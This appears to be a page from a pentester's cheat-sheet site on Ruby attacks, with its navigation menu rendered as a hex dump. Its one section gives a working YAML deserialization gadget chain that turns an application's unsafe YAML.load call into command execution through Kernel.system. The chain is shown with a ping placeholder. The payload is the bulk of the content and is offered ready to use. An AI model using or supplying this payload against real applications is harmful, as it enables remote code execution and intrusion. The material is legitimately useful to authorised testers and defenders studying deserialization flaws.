Ruby for Pentesters | h4rithd Pentest Notes

00000000 4c 69 6e 75 78 3a 20 4c 61 74 65 72 61 6c 20 4d |Linux: Lateral M| 00000010 6f 76 65 6d 65 6e 74 2c 20 50 72 69 76 69 6c 61 |ovement, Privila| 00000020 67 65 45 73 63 20 4c 69 6e 75 78 20 2f 2f 20 57 |geEsc Linux // W| 00000030 69 6e 64 6f 77 73 3a 20 41 63 74 69 76 65 20 44 |indows: Active D| 00000040 69 72 65 63 74 6f 72 79 2c 20 4c 61 74 65 72 61 |irectory, Latera| 00000050 6c 20 4d 6f 76 65 6d 65 6e 74 2c 20 50 72 69 76 |l Movement, Priv| 00000060 69 6c 61 67 65 45 73 63 20 57 69 6e 64 6f 77 73 |ilageEsc Windows| 00000070 20 2f 2f 20 4c 4c 4d 20 53 45 43 55 52 49 54 59 | // LLM SECURITY| 00000080 3a 20 4c 4c 4d 20 26 20 41 49 20 50 65 6e 65 74 |: LLM & AI Penet| 00000090 72 61 74 69 6f 6e 20 54 65 73 74 69 6e 67 20 2f |ration Testing /| 000000a0 2f 20 4d 6f 62 69 6c 65 20 53 65 63 75 72 69 74 |/ Mobile Securit| 000000b0 79 3a 20 41 6e 64 72 6f 69 64 20 2f 2f 20 43 6c |y: Android // Cl| 000000c0 6f 75 64 3a 20 41 57 53 2c 20 44 6f 63 6b 65 72 |oud: AWS, Docker| 000000d0 2c 20 4b 75 62 65 72 6e 65 74 65 73 2c 20 45 6e |, Kubernetes, En| 000000e0 74 72 61 20 49 44 20 28 41 7a 75 72 65 20 41 44 |tra ID (Azure AD| 000000f0 29 20 2f 2f 20 54 6f 6f 6c 73 3a 20 46 69 6c 65 |) // Tools: File| 00000100 20 54 72 61 6e 73 66 65 72 73 2c 20 53 68 65 6c | Transfers, Shel| 00000110 6c 73 20 2f 20 50 61 79 6c 6f 61 64 73 2c 20 50 |ls / Payloads, P| 00000120 69 76 6f 74 69 6e 67 20 2f 20 46 6f 72 77 61 72 |ivoting / Forwar| 00000130 64 69 6e 67 2c 20 4e 65 74 77 6f 72 6b 20 45 6e |ding, Network En| 00000140 75 6d 65 72 61 74 69 6f 6e 2c 20 43 72 61 63 6b |umeration, Crack| 00000150 69 6e 67 20 2f 20 46 75 7a 7a 69 6e 67 20 2f 20 |ing / Fuzzing / | 00000160 42 72 75 74 65 2d 66 6f 72 63 65 20 2f 2f 20 46 |Brute-force // F| 00000170 6f 72 65 6e 73 69 63 3a 20 56 6f 6c 61 74 69 6c |orensic: Volatil| 00000180 69 74 79 33 2c 20 4c 6f 67 20 41 6e 61 6c 79 73 |ity3, Log Analys| 00000190 69 73 20 2f 2f 20 54 43 50 3a 20 46 54 50 20 7c |is // TCP: FTP || 000001a0 20 32 31 2c 20 53 53 48 20 7c 20 32 32 2c 20 53 | 21, SSH | 22, S| 000001b0 4d 54 50 20 7c 20 32 35 2c 20 35 38 37 2c 20 44 |MTP | 25, 587, D| 000001c0 4e 53 20 7c 20 35 33 2c 20 46 69 6e 67 65 72 20 |NS | 53, Finger | 000001d0 7c 20 37 39 2c 20 50 4f 50 33 20 26 20 49 4d 41 || 79, POP3 & IMA| 000001e0 50 20 7c 20 31 31 30 2c 20 31 34 33 2c 20 39 39 |P | 110, 143, 99| 000001f0 33 2c 20 52 50 43 20 26 20 4e 46 53 20 7c 20 31 |3, RPC & NFS | 1| 00000200 31 31 2c 20 32 30 34 39 2c 20 4c 44 41 50 20 7c |11, 2049, LDAP || 00000210 20 33 38 39 2c 20 36 33 36 2c 20 48 54 54 50 53 | 389, 636, HTTPS| 00000220 20 7c 20 34 34 33 2c 20 53 4d 42 20 7c 20 34 34 | | 443, SMB | 44| 00000230 35 2c 20 31 33 39 2c 20 53 71 75 69 64 20 50 72 |5, 139, Squid Pr| 00000240 6f 78 79 20 7c 20 33 31 32 38 2c 20 53 75 62 76 |oxy | 3128, Subv| 00000250 65 72 73 69 6f 6e 20 7c 20 33 36 39 30 2c 20 52 |ersion | 3690, R| 00000260 65 64 69 73 20 7c 20 36 33 37 39 2c 20 45 6c 61 |edis | 6379, Ela| 00000270 73 74 69 63 73 65 61 72 63 68 20 7c 20 39 32 30 |sticsearch | 920| 00000280 30 2c 20 4d 65 6d 63 61 63 68 65 64 20 7c 20 31 |0, Memcached | 1| 00000290 31 32 31 31 2c 20 47 6c 75 73 74 65 72 20 7c 20 |1211, Gluster | | 000002a0 32 34 30 30 37 2c 20 34 39 31 35 32 20 2f 2f 20 |24007, 49152 // | 000002b0 55 44 50 3a 20 54 46 54 50 20 7c 20 36 39 2c 20 |UDP: TFTP | 69, | 000002c0 53 4e 4d 50 20 7c 20 31 36 31 2c 20 49 50 73 65 |SNMP | 161, IPse| 000002d0 63 20 49 4b 45 20 7c 20 35 30 30 2c 20 34 35 30 |c IKE | 500, 450| 000002e0 30 2c 20 49 50 4d 49 20 7c 20 36 32 33 2c 20 49 |0, IPMI | 623, I| 000002f0 50 50 20 7c 20 36 33 31 20 2f 2f 20 4f 57 41 53 |PP | 631 // OWAS| 00000300 50 20 31 30 3a 20 4c 46 49 20 2f 20 58 58 45 2f |P 10: LFI / XXE/| 00000310 58 53 4c 54 2c 20 4e 6f 53 51 4c 20 49 6e 6a 65 |XSLT, NoSQL Inje| 00000320 63 74 69 6f 6e 2c 20 53 51 4c 20 49 6e 6a 65 63 |ction, SQL Injec| 00000330 74 69 6f 6e 2c 20 4e 65 6f 34 6a 20 49 6e 6a 65 |tion, Neo4j Inje| 00000340 63 74 69 6f 6e 2c 20 43 6f 6d 6d 61 6e 64 20 49 |ction, Command I| 00000350 6e 6a 65 63 74 69 6f 6e 2c 20 44 65 73 65 72 69 |njection, Deseri| 00000360 61 6c 69 7a 61 74 69 6f 6e 2c 20 58 53 53 20 2f |alization, XSS /| 00000370 20 43 53 56 20 2f 20 48 54 4d 4c 69 20 2f 20 28 | CSV / HTMLi / (| 00000380 53 2f 43 29 53 52 46 20 2f 20 53 53 54 49 20 2f |S/C)SRF / SSTI /| 00000390 2f 20 44 61 74 61 62 61 73 65 3a 20 53 51 4c 69 |/ Database: SQLi| 000003a0 74 65 2c 20 4f 72 61 63 6c 65 20 53 51 4c 20 7c |te, Oracle SQL || 000003b0 20 31 35 32 31 2c 20 4d 53 53 51 4c 20 2f 20 4d | 1521, MSSQL / M| 000003c0 59 53 51 4c 20 2f 20 50 53 51 4c 20 2f 2f 20 42 |YSQL / PSQL // B| 000003d0 69 6e 61 72 79 20 45 78 70 6c 6f 69 74 61 74 69 |inary Exploitati| 000003e0 6f 6e 3a 20 4c 69 6e 75 78 2c 20 57 69 6e 64 6f |on: Linux, Windo| 000003f0 77 73 20 2f 2f 20 4c 61 6e 67 75 61 67 65 73 3a |ws // Languages:|

01 YAML Deserialization Attack

If you found YAML.load ?

bash

## ------------------| dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "ping -c 2 <IP>"
         method_id: :resolve